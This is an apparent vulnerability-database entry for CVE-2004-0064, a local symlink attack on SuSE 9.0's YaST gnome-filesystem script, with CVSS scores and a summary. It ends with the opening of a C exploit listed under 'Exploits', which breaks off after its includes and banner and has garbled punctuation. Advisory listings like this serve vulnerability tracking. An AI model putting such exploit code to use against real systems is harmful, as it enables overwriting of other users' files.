2.1
CVSSv2

CVE-2004-0064

Published: 17/02/2004 Updated: 18/10/2016
CVSS v2 Base Score: 2.1 | Impact Score: 2.9 | Exploitability Score: 3.9
VMScore: 215
Vector: AV:L/AC:L/Au:N/C:N/I:P/A:N

Vulnerability Summary

The SuSEconfig.gnome-filesystem script for YaST in SuSE 9.0 allows local users to overwrite arbitrary files via a symlink attack on files within the tmp.SuSEconfig.gnome-filesystem.$RANDOM temporary directory.

Vulnerable Product Search on Vulmon Subscribe to Product

suse suse linux 9.0

Exploits

#include <stdioh> #include <unistdh> #include <stringh> #define PATH "/tmp/tmpSuSEconfiggnome-filesystem" #define START 1 #define END 33000 int main(int argc, char **argv) { int i; char buf[150]; printf("\tSuSE 90 YaST script SuSEconfiggnome-filesystem exploit\n"); printf("\t---- ...